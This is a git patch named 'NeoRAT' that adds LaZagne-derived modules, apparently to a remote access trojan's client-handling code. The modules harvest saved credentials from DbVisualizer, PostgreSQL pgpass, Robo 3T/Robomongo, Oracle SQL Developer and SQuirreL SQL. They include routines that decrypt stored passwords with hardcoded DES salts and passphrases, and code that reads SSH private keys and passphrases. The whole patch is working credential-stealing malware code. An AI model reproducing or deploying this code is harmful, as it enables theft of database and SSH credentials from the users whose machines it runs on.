From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/databases/__init__.py | 0 .../lazagne/softwares/databases/dbvis.py | 79 +++++++++++++++ .../lazagne/softwares/databases/postgresql.py | 32 +++++++ .../lazagne/softwares/databases/robomongo.py | 101 ++++++++++++++++++++ .../lazagne/softwares/databases/sqldeveloper.py | 106 +++++++++++++++++++++ .../lazagne/softwares/databases/squirrel.py | 27 ++++++ 6 files changed, 345 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/databases/__init__.py create mode 100644 foreign/client_handling/lazagne/softwares/databases/dbvis.py create mode 100644 foreign/client_handling/lazagne/softwares/databases/postgresql.py create mode 100644 foreign/client_handling/lazagne/softwares/databases/robomongo.py create mode 100644 foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py create mode 100644 foreign/client_handling/lazagne/softwares/databases/squirrel.py (limited to 'foreign/client_handling/lazagne/softwares/databases') diff --git a/foreign/client_handling/lazagne/softwares/databases/__init__.py b/foreign/client_handling/lazagne/softwares/databases/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/foreign/client_handling/lazagne/softwares/databases/dbvis.py b/foreign/client_handling/lazagne/softwares/databases/dbvis.py new file mode 100644 index 0000000..c76060b --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/dbvis.py @@ -0,0 +1,79 @@ +# -*- coding: utf-8 -*- +import array +import base64 +import binascii +import hashlib +import os +import re +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class Dbvisualizer(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='dbvis', category='databases') + + self._salt = self.get_salt() + self._passphrase = 'qinda' + self._iteration = 10 + + def get_salt(self): + salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] + salt = array.array('b', salt_array) + hexsalt = binascii.hexlify(salt) + return binascii.unhexlify(hexsalt) + + def get_derived_key(self, password, salt, count): + key = bytearray(password) + salt + + for i in range(count): + m = hashlib.md5(key) + key = m.digest() + return key[:8], key[8:] + + def decrypt(self, msg): + enc_text = base64.b64decode(msg) + (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) + crypter = des(dk, CBC, iv) + text = crypter.decrypt(enc_text) + return re.sub(r'[\x01-\x08]', '', text) + + def run(self): + path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml') + if os.path.exists(path): + tree = ElementTree(file=path) + + pwd_found = [] + elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'} + + for e in tree.findall('Databases/Database'): + values = {} + for elem in elements: + try: + if elem != "Password": + values[elements[elem]] = e.find(elem).text + else: + values[elements[elem]] = self.decrypt(e.find(elem).text) + except Exception: + pass + + try: + elem = e.find('UrlVariables') + for ee in elem.getchildren(): + for ele in ee.getchildren(): + if 'Server' == ele.attrib['UrlVariableName']: + values['Host'] = str(ele.text) + if 'Port' == ele.attrib['UrlVariableName']: + values['Port'] = str(ele.text) + if 'SID' == ele.attrib['UrlVariableName']: + values['SID'] = str(ele.text) + except Exception: + pass + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/databases/postgresql.py b/foreign/client_handling/lazagne/softwares/databases/postgresql.py new file mode 100644 index 0000000..e2ecfb6 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/postgresql.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- + +import os + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class PostgreSQL(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='postgresql', category='databases') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf') + if os.path.exists(path): + with open(path) as f: + pwd_found = [] + for line in f.readlines(): + try: + items = line.strip().split(':') + pwd_found.append({ + 'Hostname': items[0], + 'Port': items[1], + 'DB': items[2], + 'Username': items[3], + 'Password': items[4] + }) + + except Exception: + pass + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/databases/robomongo.py b/foreign/client_handling/lazagne/softwares/databases/robomongo.py new file mode 100644 index 0000000..f7148d4 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/robomongo.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +import json +import os + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class Robomongo(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'robomongo', 'databases') + + self.paths = [ + { + 'directory': u'.config/robomongo', + 'filename': u'robomongo.json', + }, + { + 'directory': u'.3T/robo-3t/1.1.1', + 'filename': u'robo3t.json', + } + ] + + def read_file_content(self, file_path): + """ + Read the content of a file + + :param file_path: Path of the file to read. + + :return: File content as string. + """ + content = "" + if os.path.isfile(file_path): + with open(file_path, 'r') as file_handle: + content = file_handle.read() + + return content + + def parse_json(self, connection_file_path): + repos_creds = [] + if not os.path.exists(connection_file_path): + return repos_creds + with open(connection_file_path) as connection_file: + try: + connections_infos = json.load(connection_file) + except Exception: + return repos_creds + for connection in connections_infos.get("connections", []): + try: + creds = { + "Name": connection["connectionName"], + "Host": connection["serverHost"], + "Port": connection["serverPort"] + } + crd = connection["credentials"][0] + if crd.get("enabled"): + creds.update({ + "AuthMode": "CREDENTIALS", + "DatabaseName": crd["databaseName"], + "AuthMechanism": crd["mechanism"], + "Login": crd["userName"], + "Password": crd["userPassword"] + }) + else: + creds.update({ + "Host": connection["ssh"]["host"], + "Port": connection["ssh"]["port"], + "Login": connection["ssh"]["userName"] + }) + if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password": + creds.update({ + "AuthMode": "SSH_CREDENTIALS", + "Password": connection["ssh"]["userPassword"] + }) + else: + creds.update({ + "AuthMode": "SSH_PRIVATE_KEY", + "Passphrase": connection["ssh"]["passphrase"], + "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]), + "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"]) + }) + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e)) + + return repos_creds + + def run(self): + """ + Extract all connection's credentials. + + :return: List of dict in which one dict contains all information for a connection. + """ + pwd_found = [] + for directory in self.paths: + connection_file_path = os.path.join(constant.profile['USERPROFILE'], + directory['directory'], + directory['filename']) + pwd_found.extend(self.parse_json(connection_file_path)) + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py new file mode 100644 index 0000000..c8e7e36 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/sqldeveloper.py @@ -0,0 +1,106 @@ +# -*- coding: utf-8 -*- +import array +import base64 +import binascii +import hashlib +import os +import re +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.crypto.pyDes import des, CBC +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class SQLDeveloper(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'sqldeveloper', 'databases') + + self._salt = self.get_salt() + self._passphrase = None + self._iteration = 42 + + def get_salt(self): + salt_array = [5, 19, -103, 66, -109, 114, -24, -83] + salt = array.array('b', salt_array) + hexsalt = binascii.hexlify(salt) + return binascii.unhexlify(hexsalt) + + def get_derived_key(self, password, salt, count): + key = bytearray(password) + salt + for i in range(count): + m = hashlib.md5(key) + key = m.digest() + return key[:8], key[8:] + + def decrypt(self, msg): + enc_text = base64.b64decode(msg) + (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) + crypter = des(dk, CBC, iv) + text = crypter.decrypt(enc_text) + return re.sub(r'[\x01-\x08]', '', text) + + def get_passphrase(self, path): + xml_name = u'product-preferences.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.sqldeveloper'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + if xml_file: + tree = ElementTree(file=xml_file) + for elem in tree.iter(): + if 'n' in elem.attrib.keys(): + if elem.attrib['n'] == 'db.system.id': + return elem.attrib['v'] + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'SQL Developer') + if os.path.exists(path): + self._passphrase = self.get_passphrase(path) + if self._passphrase: + self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase)) + xml_name = u'connections.xml' + xml_file = None + + if os.path.exists(os.path.join(path, xml_name)): + xml_file = os.path.join(path, xml_name) + else: + for p in os.listdir(path): + if p.startswith('system'): + new_directory = os.path.join(path, p) + + for pp in os.listdir(new_directory): + if pp.startswith(u'o.jdeveloper.db.connection'): + if os.path.exists(os.path.join(new_directory, pp, xml_name)): + xml_file = os.path.join(new_directory, pp, xml_name) + break + + if xml_file: + renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login', + 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL', + 'SavePassword': 'SavePassword', 'driver': 'Driver'} + tree = ElementTree(file=xml_file) + + pwd_found = [] + for e in tree.findall('Reference'): + values = {} + for ee in e.findall('RefAddresses/StringRefAddr'): + if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None: + name = renamed_value[ee.attrib['addrType']] + value = ee.find('Contents').text if name != 'Password' else self.decrypt( + ee.find('Contents').text) + values[name] = value + + pwd_found.append(values) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/databases/squirrel.py b/foreign/client_handling/lazagne/softwares/databases/squirrel.py new file mode 100644 index 0000000..4115fac --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/squirrel.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class Squirrel(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='squirrel', category='databases') + + def run(self): + path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml') + if os.path.exists(path): + tree = ElementTree(file=path) + pwd_found = [] + elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} + for elem in tree.iter('Bean'): + values = {} + for e in elem: + if e.tag in elements: + values[elements[e.tag]] = e.text + if values: + pwd_found.append(values) + + return pwd_found -- cgit v1.2.3